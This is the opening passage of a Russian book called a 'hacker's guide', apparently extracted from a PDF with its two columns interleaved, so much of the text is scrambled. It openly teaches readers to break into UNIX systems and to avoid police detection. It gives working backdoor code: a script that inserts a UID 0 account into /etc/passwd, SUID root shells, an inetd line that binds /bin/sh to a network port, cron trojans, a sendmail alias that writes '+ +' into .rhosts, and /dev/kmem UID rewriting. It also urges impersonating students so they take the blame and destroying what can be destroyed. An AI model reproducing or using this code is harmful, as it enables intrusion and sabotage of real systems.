WWW.DISSERS.RU

БЕСПЛАТНАЯ ЭЛЕКТРОННАЯ БИБЛИОТЕКА

   Добро пожаловать!

Pages:     || 2 | 3 | 4 |
-- [ Страница 1 ] --

ББК 32.973 Максим Левин УДК 681.3 Руководство для хакеров Максим Левин Л80 Руководство для хакеров. — М.: Бук пресс, 2006. — 416 с.

Вы когда нибудь задавались вопросом, как этому «чертовому» хакеру удается вновь и вновь появляться в системе, несмотря на то, что вы, казалось бы, полностью закрыли для него доступ? Если вы хотите заниматься хакингом в будущем, это руководство окажет вам неоценимую помощь. Также оно будет полезно и администраторам, так как даже в 2000 году существует великое множество способов нелегально проникнуть в UNIX, Windows 2000 и, конечно же, в Windows 98, равно как и в любую другую систему. Ни в коем случае не рассматривайте эту книгу как всеобъемлющий труд, отвечающий на все жизненные ситуации.

ВНИМАНИЕ! АВТОР ЭТОЙ КНИГИ ПРЕСЛЕДУЕТ ЕДИНСТВЕННУЮ ЦЕЛЬ — НАРОДНОЕ ОБРАЗОВАНИЕ! НО ЕСЛИ ВЫ, ИСПОЛЬЗУЯ ЭТОТ ТРУД, ПОПАДЕТЕСЬ, ТО ВИНОВАТЫ БУДЕТЕ ВЫ САМИ!

© Максим Левин, 2006. Идеи, текст, составление, примечания.

© AVP Virus Encyclopedia, 2006.

© Sir Hackalot, Simson Garfinkel, Mike Smith, 2006.

© Михаил Ашаров, 2006.

© Джеймс Кобиелус, Владимир Галатенко, Джулия Борт, 2006.

© Анита Карве, Александр Авдуевский, Ли Че, 2006.

© Синди Куллен, Ричард Пауэр, 2006.

© Ьук пресс, 2006.

Москва ООО «Литературное агентство «Бук Пресс».

127591, Москва, Керамический пр., д. 53. кор. 1.

Литературное агентство «Бук Пресс» http://www.book press.ru Как взломать UNIX Как взломать UNIX «We make use of a service already existing without Для некоторых, например, это в первую очередь paying for what could be dirt cheep if it wasn't run by просто прекрасное развлечение. Но сейчас profiteering gluttons, and you call us criminals.

заниматься хакингом становится все более опасно, We explore... and you call us criminals.

поэтому будьте осторожны, даже если у вас нет We exist without skin color, without nationality, without противозаконных намерений. Это очень religious bias... and you call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to трудоемкое и к тому же рискованное дело. Так что make us believe it is for our own good, yet we're the будьте внимательны и не попадитесь!

criminals…» «Hacker's Manifest».

Глава 2: Как не пойматься «Хакер должен быть оценен по своим делам, а не Жизнь прекрасна, только когда вы не по ложным ханжеским критериям образованности, возрасту, цвету кожи или социальному статусу. попадаетесь в руки спецслужб. Конечно же, это Вы — творцы, вы создаете на своих компьютерах зависит от того, чем именно вы занимаетесь. Но новое искусство и новую красоту. Компьютеры может получиться так, что вы все равно изменят вашу жизнь к лучшему!» попадетесь, несмотря на беспрекословное Борис Леонтьев. «Хакинг без секретов».

выполнение всех наших рекомендаций.

Некоторые операторы спецслужб до Часть первая отупения настойчивы, и не остановятся ни перед чем, чтобы вычислить и прижать вас к стенке. И Как взломать UNIX если, как только вы берете трубку телефона, мгновенно подключаются модемы, или если до вас доходят слухи, что друзья приятели называют вас «хакером, на след которого напали спецслужбы», то мы предлагаем вам затаиться на какое то время Глава 1: Введение в хакинг и не заниматься взломом.

Хакинг — это искусство взлома Существует несколько основополагающих всевозможных систем и доведения данного моментов, которые обязан знать каждый, процесса до высот технического изящества. Хакер использующий модем при компьютерном взломе.

вооружается различными методиками, исходя из Мы посчитали необходимым включить их в эту которых он строит собственную стратегию взлома книгу для того, чтобы вы ни в коем случае не той или иной программы. Зачем же быть хакером?

упустили их из виду. Вы постоянно должны быть Вы наверняка найдете для себя несколько причин.

3 Как взломать UNIX Как взломать UNIX начеку и следить за появлением таких 4. Наличие незнакомого вам оборудования в настораживающих явлений, как: нежилых комнатах вашего дома обязательно должно вас насторожить.

1. Необычные шумы на линии, при том, что обычно их не бывает. 5. С вашей телефонной линией происходит что то странное, и вы уверены в том, что соседи 2. По телефонной линии прослушиваются не имеют к этому никакого отношения.

другие голоса.

В целом это все, о чем мы хотели бы Это иногда случается со старым предупредить вас, но конечно же существует оборудованием FDM, но может быть вызвано и гораздо больше подозрительных явлений, которые ответвлением провода, так что будьте осторожны!

могут предупредить вас о том, что спецслужбы 3. Появление фургона или минифургона, напали на ваш след.

припаркованного рядом с:

а) телефонным столбом;

Глава 3: Ответвления провода б) подземным паровым вентиляционным отверстием;

На сегодняшний день этот способ вычисления хакеров остается самым в) следите за появлением около телефонных распространенным. Мы предлагаем лучшее столбов и вентиляционных отверстий тряпок или руководство для тех, кто хочет выявить явное кусков ткани с символикой MA BELL.

отклонение провода. Если вы в состоянии Это полный конец! Если вы заметили позволить себе приобрести соответствующее что нибудь из вышеуказанного, немедленно оборудование, то сможете заниматься тем, что прекращайте все упражнения по крайней мере на называется «чистка» телефонной линии. Еще вы месяц. И обязательно убедитесь в том, что можете собрать прибор, показывающий фургоны уехали, а не просто поменяли место напряжение в сети. Если во время телефонного парковки.

разговора напряжение резко падает, то это Обратите внимание на провода, протянутые означает, что от вашего телефона ответвлен от фургона к телефонному столбу или провод или кто то подключился к линии. Ниже вентиляционному отверстию, и на цвет, в который приведены возможные показания прибора.

выкрашен фургон (обычно фургоны спецслужб белого цвета). Также следует выяснить, не принадлежит ли он (т.е. фургон) телефонной компании.

5 Как взломать UNIX Как взломать UNIX Напряжение, которое должно обыкновенных городских линий. Радиотелефонная связь всегда была известна своей надежностью, но, насторожить вас конечно же, не сейчас… Потому что такая 90V при 20 30Hz телефонная станция — одно из самых лучших мест для занятий хакингом. Но заклинаем вас, не На линии предпринимайте ничего подобного в своем 30 50V собственном доме! Самое подходящее время для хакинга — ночь, когда дежурный оператор Среднее напряжение спецслужб наверняка спит.

600V. Осторожно! В модеме может сгореть MOV. Обычно при таком напряжении телефонная сеть неисправна.

Глава 5: Считывание RFI Как правило, у спецслужб нет необходимого Это один из новейших способов оборудования для того, чтобы следить за вашим вычисления хакеров, и мы абсолютно уверены в компьютером с помощью отвода провода, и уж том, что уж его то вам бояться не стоит. Для конечно же вряд ли у них будет база данных с выполнения он слишком сложен, и к тому же не вашим именем.

всегда срабатывает. Особенно если вы находитесь в окружении телевизоров и компьютерных Глава 4: Определение номера мониторов. Считывание RFI осуществляется с помощью устройства, который ловит слабые телефона радиочастоты вашего монитора и переводит их в Спецслужбы используют еще один способ видеосигналы. И если это срабатывает, то определения местонахождения хакера. На оператор видит на своем компьютере изображение сегодняшний день вычисление телефонного с вашего монитора. Все это, конечно, впечатляет, номера стало доступным практически для всех. но сначала пусть оператор поймает ваш сигнал!

Недавно было обнаружено, что если набрать 33 на некоторых телефонах, то на аппарате высветится Глава 6: ESS номер последнего звонка.

И мы уверены, что полиция будет Итак, мальчики и девочки! Ко всем нашим пользоваться именно такими телефонами для радостям прибавляется еще одна — Electronic вывода вас на чистую воду. Но все это, в Standardized Switching (или ESS), с чудесами основном, касается радиотелефонов, а не которого мы все хорошо знакомы. Вы помните 7 Как взломать UNIX Как взломать UNIX резкое повышение цен около года назад? «В система автоматически запишет все ваши строй введена новая компьютеризированная действия. А некоторые системы вообще система, которая разгрузит вашу телефонную регистрируют все ваши телодвижения!

линию». Вранье!!! Единственная цель этой системы — ловить хакеров. Это единственное, к Глава 8: Как зарегистрироваться под чему она предназначена, и надо сказать, что чужим именем делает это она очень и очень неплохо. С ее помощью телефонная компания может вычислить Это — ключевой момент взлома системы любой номер за 55 секунд. В системе UNIX. Допустим, вы опасаетесь заниматься регистрируются записи всех звонков, в том числе хакингом под собственным ID. И к тому же и местных! И даже если телефонный аппарат желаете по возможности использовать при каждом неисправен, то ваша попытка с него куда то заходе в систему различные пользовательские ID.

позвонить станет тут же известна полиции. Но не Без некоего начального доступа к системе падайте духом! ESS еще не конец света. Чтобы там получить имя и пароль невозможно. Что же не изобрели на нашу голову, мы как занимались делать? Не забывайте, что GANDALF data switch хакингом, так и будем. И, возможно, взломать ESS отнюдь несовершенен. Один из пяти логинов без будет так же просто, как и старую телефонную проблем пропустит вас под чужим именем. Вам систему.

остается только изменить контроль по четности Прекрасно! Вводный курс закончен!

(8N1 на Е71), в то время как GANDALF загружает UNIX. Вам наверняка удастся зарегистрироваться Глава 7: Приступаем к взлому таким образом. И это произойдет из за того, что некоторые пользователи используют телефонные Мы уже стали набрасывать следующую линии по их прямому назначению, не завершив главу, но подумали, что же еще следует добавить к работу на компьютере. Всегда следите за тем, вышесказанному?

чтобы по завершении работы обязательно выйти Помните: В любой момент вас могут засечь из системы.

операторы. Но чаще всего их это мало интересует, Пару дней назад я лез в систему под чужим либо информация на их машинах меняется так именем и, непонятно почему, не получил доступа.

быстро, что они не успевают считывать ее.

На моем мониторе высветились слова «LOG OFF», Внимание: если вы забудете свой пароль или и я просто был выброшен из системы.

попытаетесь войти в недоступные вам файлы, то Подозреваю, что человек, чьим именем я 9 Как взломать UNIX Как взломать UNIX воспользовался, как раз в тот момент сидел на Глава 10: Как приобрести новое имя терминале, управляемом суперпользователем. И он Предлагаем еще один способ приобретения сообщил SU (суперпользователю) о том, что в пользователем нескольких имен и паролей.

системе появился его двойник (возможно, он Сначала (самое трудное) необходимо дождаться установил это, используя команду WHO).

начала семестра и достать список идентификационных номеров студентов, учащихся Глава 9: Блокирование в группах с углубленным изучением системы UNIX. Обычно этот список вывешивается на Еще такой момент. UNIX дает возможность двери деканата или где нибудь еще. Допустим, что блокировать некоторых пользователей и этот список вы уже нашли.

ограничивать им доступ к системе.

Далее, лучше всего в самом начале учебного Для начала вы выбираете гражданина, года, попробуйте войти в систему под именами которому собираетесь закрыть доступ. Затем нескольких (возможно, 3 4) студентов.

помещаете в его начальный каталог (тот, который Предпочтительней пользоваться ID студентов UNIX автоматически загружает при входе в самого низкого уровня доступа, так как если вы систему) файл VI.LOGIN.

попадетесь, то именно студент примет на себя весь VI.LOGIN должен выглядеть примерно так:

удар, полагая, что он сам сделал что то не так.

VI.LOGIN Смело входите в систему, и если студент еще не logout занимался в UNIX, то сразу же выскочит запрос Таким образом, VI.LOGIN будет включать в на ввод пароля. Великолепно! Вы не только себя только одну единственную команду. Она получили доступ, но и еще можете установить срабатывает автоматически: как только этот любой пароль по своему выбору! Так происходит, пользователь попытается войти в систему, вход в потому что кафедре информатики всегда некогда нее окажется заблокирован. поставить своим студентам фиксированные пароли. Считается, что студенты новички должны Важно: каждые несколько дней проверяйте сами выбрать себе пароль, но тогда как же можно в силе ли ваше блокирование, а блокирование различить, кто студент, а кто хакер?

особо значимых для вас пользователей можно проверять и чаще. Вероятнее всего, ваша халява не продлится и нескольких дней, поэтому лучше всего будет, Эта программа должна работать под если вы воспользуетесь ситуацией и оторветесь по КОРНЕМ (ROOT — имя суперпользователя).

полной программе, разрушайте там все, что можно 11 Как взломать UNIX Как взломать UNIX разрушить. Кроме того, вы можете блокировать Предупреждение: Выясните расположение доступ всему компьютерному классу! главных системных файлов. Это вам необходимо (если вы не можете вспомнить хотя бы некоторые Если у вас богатый опыт работы на из них, прекратите чтение данной главы, компьютере и вы умеете взламывать пароли в полистайте книгу о системе UNIX и после этого файле PASSWRDS, то можете получить пароль возвращайтесь к нам).

суперпользователя (SU) и тогда уж развлекаться на полную катушку! Ознакомьтесь с форматами файлов passwrd (включая обычных 7 форматов, систему Великолепно. Вы пробыли в системе UNIX специальных имен, механизмами затенения и т.д.).

всю ночь, пытаясь воплотить в жизнь все идеи, Почитайте о vi. Создатели большинства систем не которые только пришли вам на ум. Система вам столь дружелюбно настроены по отношению к уже кажется тесной. И выглядит просто пользователю, как создатели UNIX Пико и Эмакс.

спичечным коробком. Система на самом деле Vi вам поможет быстро найти и при тесна. Вы испробовали все, что можно необходимости отредактировать очень большой испробовать. Пароли по умолчанию, пароли, файл. Если вы подсоединяетесь к системе которые вы раскрыли, дефекты NIS, дыры NFS, дистанционно (dial up\telnet\rlogin\whatver), то для «кривые» разрешения к файлам и условия вас тем более важно иметь мощную программу маршрутизации, шуточки со SUID, ошибки в терминала, обладающую вместительным буфером.

Sendmail и так далее. Все. Погодите! А это что Он пригодится вам в случае нужды вырезать, такое? «#»? Наконец таки!

вставлять и копировать файлы и выполнять другие После, как казалось, бесконечного тяжелого компьютерные программы.

труда вам в конце концов удалось взломать root. И Длительность этого нелегального доступа что же теперь? Что вы будете делать с этой полностью зависит от опыта и мастерства бесценной привилегией суперпользователя, ради администратора. Опытный и умелый которой пришлось столько потрудиться?

администратор будет зорко следить за всеми нелегальными проникновениями в систему, а тот Глава 11: Как удержаться на уровне факт, что вам удалось приобрести корень, говорит о том, что администратор был недостаточно root профессионален, или о том, что доступ был на В этой главе описывается, как удержаться какое то время открыт.

на уровне корня, и она будет полезна как для хакеров, так и для администраторов.

13 Как взломать UNIX Как взломать UNIX cat./xab >>./xaa Вы должны осознать следующее: если вы mv./xaa /etc/passwd сумеете замести следы в самом начале взлома, то chmod 644 /etc/passwd # or whatever it was уже никто не сможет вычислить вас в дальнейшем.

beforehand Несколько банальностей:

rm./xa*./temppass echo Done...

(1) Никогда не изменяйте пароль корня.

Добавьте UID 0 к паролю файла. Возможно, Причины, думаю, вам очевидны.

это один из самых легких способов сообщить администратору о том, что вы в системе. Если вы (2) все же хотите это сделать, то вот вам совет — не Точно таким же образом введите в действие нужно просто приписывать этот код к паролю такие уже непригодные аккаунты, как Sync. Или, файла. Любой проверяющий моментально это возможно, другие, скрытые в файле паролей, заметит. Лучше впишите его посередине пароля… забытые или отключенные системным #!/bin/csh администратором. Измените UID на 0 (и # Inserts a UID 0 account into the middle of уберите "*" из второго поля).

the passwd file.

# There is likely a way to do this in 1/2 a (3) line of AWK or SED. Oh well.

Перегоните оболочку корня в /tmp:

# daemon9@netcom.com #!/bin/sh set linecount = `wc l /etc/passwd` # Everyone's favorite...

cd # Do this at home.

cp /bin/csh /tmp/.evilnaughtyshell # Don't cp /etc/passwd./temppass # Safety first.

name it that...

echo passwd file has $linecount[1] lines.

chmod 4755 /tmp/.evilnaughtyshell @ linecount[1] /= Многие системы чистят \tmp по ночам.

@ linecount[1] += 1 # we only want 2 temp Чаще всего это осуществляется путем files уничтожения файлов или занесения их в буфер.

echo Creating two files, $linecount[1] lines Во многих системах установлены пакеты, each \(or approximately that\).

предохраняющие от запуска программ под SUID.

split $linecount[1]./temppass # passwd Вы можете все это изменить, но даже если string optional система примет изменения, то очень многие могут echo "EvilUser::0:0:Mr.

все же это заметить... Впрочем, это уже другой Sinister:/home/sweet/home:/bin/csh" >>./xaa 15 Как взломать UNIX Как взломать UNIX вопрос. Мы не станем уточнять параметры демона. Флаг wait означает, что демон перед необходимых изменений, так как они могут продолжением прослушивания приходящих варьироваться на разных системах. запросов вынужден будет ожидать, пока сервер освободит порт. nowait в свою очередь позволяет (4) демону незамедлительно приступать к Системный администратор не станет прослушиванию новых запросов. Пятое первым же делом заглядывать в поле — это тот пользователь (или иногда UID), конфигурационный файл хоста, так почему бы не который управляет демоном. Поле (6) — это загрузить этот демон туда? запускающаяся при соединении программа, а поле (7) содержит команды (и дополнительные Для начала немного общей информации:

аргументы). Часть программ (обычно не Интернет демон (\etc\inetd\) принимает запросы о требующих вмешательства пользователя), сервер связи с портами ТСР и UDP и перебрасывает может перебрасывать по сети. Это осуществляется нужную программу согласно поступившему с помощью флага internal в строках (6) и (7).

запросу. Формат файла \etc\inetd.conf. прост.

Таким образом, для того, чтобы самому Обычные его строки выглядят следующим установить нелегальный доступ к системе, образом:

выберите редко используемую программу и (1) (2) (3) (4) (5) (6) (7) переадресуйте связующего демона к программе, ftp stream tcp nowait root /usr/etc/ftpd ftpd создающей оболочку корня SUID, к программе, talk dgram udp wait root /usr/etc/ntalkd ntalkd предоставляющей корневой аккаунт в файле \etc\passwd и так далее.

Первое поле (1) — это название демона, указанное в \etc\services. Отсюда inetd считывает В качестве примера попробуйте следующее:

информацию о соответствующем поле в Откройте \etc\inted.conf, если это, конечно, \etc\services и после этого устанавливает возможно.

параметры связанного с данной программой порта.

Найдите строку:

Во втором поле содержится информация о daytime stream tcp nowait root internal типе службы доставки данных, необходимом для и поменяйте ее на:

данной программы. ТСР использует stream daytime stream tcp nowait /bin/sh sh i (байт ориентированный поток), тогда как UDP — dgrams (служба, ориентированная на Теперь вновь откройте \etc\inetd\ и транзакции). Третье поле — поле протоколов (ТСР просмотрите файл конфигурации. Сами решите, или UDP). В четвертом поле указывается статус как это сделать. Вы можете закончить процесс и 17 Как взломать UNIX Как взломать UNIX запустить его снова (kill 9, /usr/sbin/inetd или (6) Cron трояны I /usr/etc/inetd), и таким образом прервать все связи Cron — это замечательная утилита для в сети (особое удовольствие сделать это в час пик).

администрирования. Она также может быть использована для того, чтобы нелегально войти в (5) систему, если, конечно корневой crontab работает Своего рода компромиссным вариантом исправно. И опять же нелишне напомнить, что может стать установка новой программы, которая продолжительность работы нелегально созданного смогла бы запускать любую другую по вашему аккаунта находится в обратной зависимости от выбору. Лучше всего загрузить не чувствительную опытности и профессионализма системного к несанкционированным подключениям оболочку.

администратора. Обычно список корневых файлов Вы должны убедиться в том, что доступ crontab находится в /var/spool/cron/crontabs/root.

индицируется как в \etc\services, так и в Здесь у вас есть выбор. Мы перечислим только \etc\inetd.conf. Формат \etc\services прост:

некоторые из возможных решений, так как на (1) (2)/(3) (4) самом деле их количество огромно.

smtp 25/tcp mail cron — это временной демон. Он (1) — функция, (2) — номер порта, представляет собой утилиту, выполняющую (3) — тип протокола, необходимый для работы команды, связанные с датами и временем.

программы, (4) — название функции.

crontab — это команда, пересматривающая и Попробуйте добавить такую строку к дополняющая ваши файлы crontab. Управлять \etc\services:

crontab также легко, как и редактировать evil 22/tcp evil /var/spool/crontab/root.

и такую к /etc/inetd.conf:

Файл crontab состоит из шести полей:

evil stream tcp nowait /bin/sh sh i (1) (2) (3) (4) (5) (6) Загрузите inetd.

0 0 * * 1 /usr/bin/updatedb Поля с 1 по 5 означают: минута (0 59), час Обратите внимание: такой нелегальный (0 23), день месяца (1 31), месяц года (1 12), день доступ в принципе весьма действенен. Он даст недели (0 6). Поле 6 — это выполняемая команда возможность использовать не только любой (или сценарий оболочки). Сценарий оболочки из аккаунт локальной сети, но и предоставит любой вышеприведенного примера используется только аккаунт любого компьютера с выходом в по понедельникам. Для запуска cron просто Интернет.

добавьте вход в /var/spool/crontab/root. Например, 19 Как взломать UNIX Как взломать UNIX rm./xa*./temppass у вас есть задание для cron, которое должно echo Done...

ежедневно запускаться и отслеживать в файле else /etc/passwd предварительно помещенный туда endif аккаунт UID 0 и восстанавливать его после удаления (неплохая идея ввести код оболочки в (7) Cron трояны II сценарий оболочки в уже установленном файле Этот троян попал в поле моего зрения crontab, тем самым вы можете себя в значительной благодаря нашему дорогому мистеру Зиппи. Для степени обезопасить).

того, чтобы его (трояна) запустить, вам Добавьте такую строку в необходимо отыскать скрытую копию файла /var/spool/crontab/root:

etc/passwd. В этом спрятанном файле (назовем его 0 0 * * * /usr/bin/trojancode /var/spool/mail/.sneaky) заведем еще один вход с А вот и сценарий оболочки:

корневым аккаунтом и с паролем на ваш выбор.

Вводим задание для cron, который, например, #!/bin/csh будет каждую ночь в 2.30 (или в любое другое # Is our eviluser still on the system? Let's время) сохранять копию настоящего \etc\passwd make sure he is.

файла и активизировать при этом троянскую #daemon9@netcom.com версию данного файла сроком на одну минуту set evilflag = (`grep eviluser /etc/passwd`) (сверьте часы!). В это время любой обычный if($#evilflag == 0) then # Is he there?

пользователь, попытавшийся зарегистрироваться в set linecount = `wc l /etc/passwd` системе или открыть файл пароля, не сможет cd # Do this at home.

этого сделать, тогда как ровно через минуту он не cp /etc/passwd./temppass # Safety first.

встретит никаких препятствий на своем пути.

@ linecount[1] /= @ linecount[1] += Добавьте эту строку к корневому файлу # we only want 2 temp files crontab:

split $linecount[1]./temppass 29 2 * * * /bin/usr/sneakysneaky_passwd # passwd string optional и проверьте:

echo "EvilUser::0:0:Mr. Sinister:

#echo /home/sweet/home:/bin/csh" >>./xaa "root:1234567890123:0:0:Operator:/:/bin/csh" > cat./xab >>./xaa /var/spool/mail/.sneaky mv./xaa /etc/passwd и вот очень простой сценарий оболочки:

chmod 644 /etc/passwd # or whatever it was beforehand #!/bin/csh 21 Как взломать UNIX Как взломать UNIX # Install trojan /etc/passwd file for one /* Это уже троян */ minute system("cp /bin/csh /bin/.swp121");

#daemon9@netcom.com system("chown root /bin/.swp121");

cp /etc/passwd /etc/.temppass system("chmod 4755 /bin/.swp121");

cp /var/spool/mail/.sneaky /etc/passwd } sleep 60 } mv /etc/.temppass /etc/passwd /* Put your possibly system specific trojan messages here */ (8) Генерирование кода трояна /* Let's look like we're doing something...

Это очень просто. Вместо сценария */ оболочки используйте какой нибудь С код, и это printf("Sychronizing bitmap image records.");

поможет вам успешно замести следы. Вот как это /* system("ls alR / >& /dev/null > делается.

/dev/null&");

*/ for(;

i<10;

i++){ Убедитесь в том, что ваш троян работает fprintf(stderr,".");

под корнем. Назовите его как нибудь безобидно и sleep(1);

хорошенько замаскируйте.

} В ряде случаев небольшой троян может printf("\nDone.\n");

быть создан в SUID оболочке при условии, что return(0);

соблюдены определенные параметры. С код в } /* End main */ такой момент гораздо действеннее, нежели оболочка, и помогает лучше прятать результаты.

(9) Файл псевдоним в sendmail /* daemon9@netcom.com */ Этот файл дает возможность отправлять #include почту на имя одного или нескольких #define KEYWORD "industry3" пользователей или подключиться к самой #define BUFFERSIZE программе. Для таких файлов существует очень int main(argc, argv) известный троян uudecode. Просто добавьте int argc;

строку:

char *argv[];

{ "decode: "|/usr/bin/uudecode" int i=0;

в файл /etc/aliases. При это вам следует if(argv[1]){ /* we've got an argument, is it создавать файл uuencoded.rhosts с полным the keyword? */ указанием его месторасположения.

if(!(strcmp(KEYWORD,argv[1]))){ 23 Как взломать UNIX Как взломать UNIX #! /bin/csh очень длинным или просто не нравится, мы # Create our.rhosts file. Note this will предлагаем вам общий шаблон, этакую болванку:

output to stdout.

Подключаемся echo "+ +" > tmpfile Если подключиться не удается, запускаем вирус /usr/bin/uuencode tmpfile /root/.rhosts Если все идет, как надо, то не Затем адресуйтесь к нужному сайту, порт 25.

останавливаемся на полпути Отправьте «липовое» письмо, используя Выходим с ошибкой uuencode версию файла.rhosts. В одной из строк … (настоящей) напечатайте следующее:

Не слишком трудно. Данный тип трояна %echo "+ +" | /usr/bin/uuencode /root/.rhosts может включать в себя менее 10 ти строк | mail decode@target.com дополнительного кода.

И теперь можете дать волю своему (11) Эзотерический: использование воображению. Придумывайте себе псевдоним, \dev\khem пишите письма кому хотите, запускайте любые программы. Многие из описанных выше методов Сейчас мы погрузимся в святая святых сейчас могут найти себе применение.

системы. Так как параметры ядра находятся в памяти машины, то, следовательно, (10) Скрытый Троян в обычных модифицирование память компьютера может программах привести к изменению UID. Чтобы это сделать, Это не самый лучший метод, но зато его удостоверьтесь, что к \dev\khem установлен доступ следы могут быть обнаружены только такими для чтения/записи. И далее по пунктам: открыть программами, как tripwire. \dev\khem, найти вашу страничку в памяти, переписать UID, затем запустить csh, который и Идея проста: вживить трояна в наиболее поменяет ваш UID. Эта программа проделывает часто и широко используемую программу. Для нас следующее.

особенно важны программы su, login и passwrd, так /* Если \khem доступен для чтения и для как они идут под корнем и к ним не надо записи, то с помощью этой программы можно переустанавливать разрешения. Ниже мы приведем установить и пользовательский и групповой ID несколько примеров на разные случаи, чтобы вы к 0. */ почувствовали всю прелесть взлома системы #include UNIX. (Примечание: Это не всегда проходит, так #include как некоторые поставщики не столь беспечны, как #include большинство других). Если код покажется вам 25 Как взломать UNIX Как взломать UNIX #include exit(30);

#include } #include printf("Current UID: %d\n",userpage.u_ruid);

#include printf("Current GID: %d\n",userpage.g_ruid);

#define KEYWORD "nomenclature1" userpage.u_ruid=0;

struct user userpage;

userpage.u_rgid=0;

long address(), userlocation;

where=lseek(fd,userlocation,0);

int main(argc, argv, envp) if(where!=userlocation){ int argc;

printf("Cannot seek to user page\n");

char *argv[], *envp[];

{ perror(argv);

int count, fd;

exit(40);

long where, lseek();

} if(argv[1]){ /* we've got an argument, is write(fd,&userpage,((char *)&(userpage.u_procp)) it the keyword? */ ((char *)&userpage));

if(!(strcmp(KEYWORD,argv[1]))){ execle("/bin/csh","/bin/csh", fd=(open("/dev/kmem",O_RDWR);

" i",(char *)0, envp);

if(fd<0){ } printf("Cannot read or write to } /dev/kmem\n");

} /* End main */ perror(argv);

#include exit(10);

#include } #include userlocation=address();

#define LNULL ((LDFILE *)0) where=(lseek(fd,userlocation,0);

long address(){ if(where!=userlocation){ LDFILE *object;

printf("Cannot seek to user page\n");

SYMENT symbol;

perror(argv);

long idx=0;

exit(20);

object=ldopen("/unix",LNULL);

} if(!object){ count=read(fd,&userpage,sizeof(struct user));

fprintf(stderr,"Cannot open /unix.\n");

if(count!=sizeof(struct user)){ exit(50);

printf("Cannot read user page\n");

} perror(argv);

for(;

ldtbread(object,idx,&symbol)==SUCCESS;

idx++) 27 Как взломать UNIX Как взломать UNIX { Глава 12: Дефекты в системе if(!strcmp("_u",ldgetname(object,&symbol))) безопасности { fprintf(stdout,"User page is at Дефекты в системе безопасности бывают 0x%8.8x\n",symbol.n_value);

нескольких видов:

ldclose(object);

return(symbol.n_value);

Физические дефекты } В этом случае проблема состоит в } возможности получения нелегального доступа к fprintf(stderr,"Cannot read symbol table in системе и, как последствия, компьютерного /unix.\n");

хулиганства и вандализма. Вот вам хороший exit(60);

пример — сетевая рабочая станция, которая при } отсутствии должных предосторожностей может быть переведена взломщиком в режим single user (12) (единичного пользователя) с одновременным С тех пор как описанный выше код на уничтожением всей файловой системы.

основе /dev/kmem стал общеизвестным, что, Еще один пример — обеспечение естественно, нас совершенно не радует, нам сохранности конфиденциальной информации на постоянно приходится быть начеку и использовать различных носителях, которые, несмотря на его с максимальной осторожностью. Мой вам установленные к файлам разрешения, вполне совет — напишите сценарий оболочки по образцу могут быть прочитаны любым пользователем (7), чтобы на время (допустим, на 5 минут) системы, имеющим доступ к соответствующему изменить разрешения, установленные к сегменту диска.

/dev/kmem, а затем вернуть их значения обратно.

Добавьте эти строки к шаблону из пункта (7):

Дефекты программного обеспечения chmod 666 /dev/kmem Здесь основная проблема заключается в sleep 300 # Nap for 5 minutes ошибках в «привилегированных» программах chmod 600 /dev/kmem # Or whatever it was (демоны, установки для cron), чьи функции могут before быть задействованы при взломе системы. Самый известный пример — это «sendmail debug», который позволяет хакеру запускать корневую оболочку. При этом может быть удалена файловая 29 Как взломать UNIX Как взломать UNIX система, создан новый аккаунт, скопирован файл пользователю свободный доступ к учетным passwrd, короче, все, что только можно придумать данным другого. Многие пакеты ТСР/IP (вопреки общему мнению, взлом, аналогичный автоматически инсталлируют/запускают такие sendmail, не ограничивается только программы, как rwhod, fingerd, и <иногда> tftpd, небезызвестным «Internet Worm», это вполне использование которых может повлечь за собой осуществимо и при запуске telnet через 25 порт серьезные проблемы с обеспечением безопасности атакуемого компьютера. системы.

Новые «дыры» в системе безопасности Решение этих проблем заключается в появляются чуть ли не ежедневно, поэтому самое тщательно продуманном администрировании лучшее, что вы можете сделать, это: системы. Большинство подобных программ инициализируется/запускается во время начальной а) постараться структурировать свою загрузки;

вы можете изменить сценарии начальной систему таким образом, чтобы даже самые загрузки (обычно расположенные в каталогах /etc, незначительные программы работали только под /etc/rc, /etc/rcX.d) для предотвращения их запуска.

привилегиями root/daemon/bin, а если существует Вы также можете просто удалить некоторые из необходимость прописать софт под других этих программ. Для ряда утилит предотвратить пользователей, то убедитесь, что их аккаунты не несанкционированный запуск может простая поддаются взлому.

команда chmod(1).

b) подпишитесь на рассылку, где публикуется информация об интересующих вас Глава 13: Не доверяйте проблемах, и таким образом вы сможете вовремя отреагировать на обнаруженный дефект.

сценариям/программам инсталляции При установке/обновлении данной системы Подобные средства обычно загружают сразу старайтесь устанавливать/делать запускаемыми весь пакет без дифференцированных запросов. В только действительно необходимые вам большинстве случаев в документации к программы, которые нужны вам сейчас или инсталляции есть список всех программ пакета;

которыми вы точно станете пользоваться. Многие ознакомьтесь с ним.

пакеты содержат демоны и утилиты, позволяющие посторонним лицам считывать информацию. К Дефекты из за совместимости примеру, пакет AT&T System V Unix включает в оборудования себя программу acctcom(1), в которой установки Иногда недостаточный профессионализм по умолчанию предоставляют одному системного менеджера приводит к использованию 31 Как взломать UNIX Как взломать UNIX таких комбинаций «железа» и «софта», которые взаимодействие общей стратегии (или стратегий) и позволяют взломщикам преодолевать все согласованных с ней операций.

защитные системы. По сути дела это пример «погони за двумя зайцами», естественно, ни один Глава 14: Мысли о хакинге из зайцев в конечном счете не попадает в ловушку, на зато в систему попадает незванный Важно: Вся предлагаемая информация гость.

должна быть распределена по следующим категориям:

После полного завершения установки оборудования обнаружение подобных «дыр» в 1) Общие принципы системе безопасности становится для системного 2) Поиск дефектов в src администратора настоящей головной болью, 3) Просмотр в двоичных распределениях поэтому лучше всего следить за появлением этих моментов с самого начала работы машины.

4) Просмотр специальных конфигураций Впрочем, никогда не поздно вернуться на сайта несколько шагов назад.

Некоторые пункты классификации Ниже разобраны некоторые примеры;

но напрашиваются сами собой:

давайте не будем сейчас на этом останавливаться, 1) SUID/SGID дабы не испортить впечатление.

2) Коды завершения/условия ошибки Выбор стратегии защиты и ее 3) Непредвиденный ввод применение 4) Параметры маршрутизации Четвертый вид проблем с безопасностью 5) Проверка на аутентичность касается адекватного восприятия. Хорошие 6) Имплицитное доверие программы, защищенное «железо», но вполне совместимые компоненты системы не заработают, 7) Параметры если только вы не выберете соответствующую 8) Разрешения стратегию защиты и не включите отвечающие за 9) Прерывания безопасность сегменты системы. Даже использование самого лучшего на свете механизма 10) Ввод / вывод паролирования не даст никакого результата, если 11) Символические связи ваши пользователи считают лучшим паролем свой собственный логин! Безопасность — это 33 Как взломать UNIX Как взломать UNIX 12) Демоны, особенно доступные Этап пользователям.
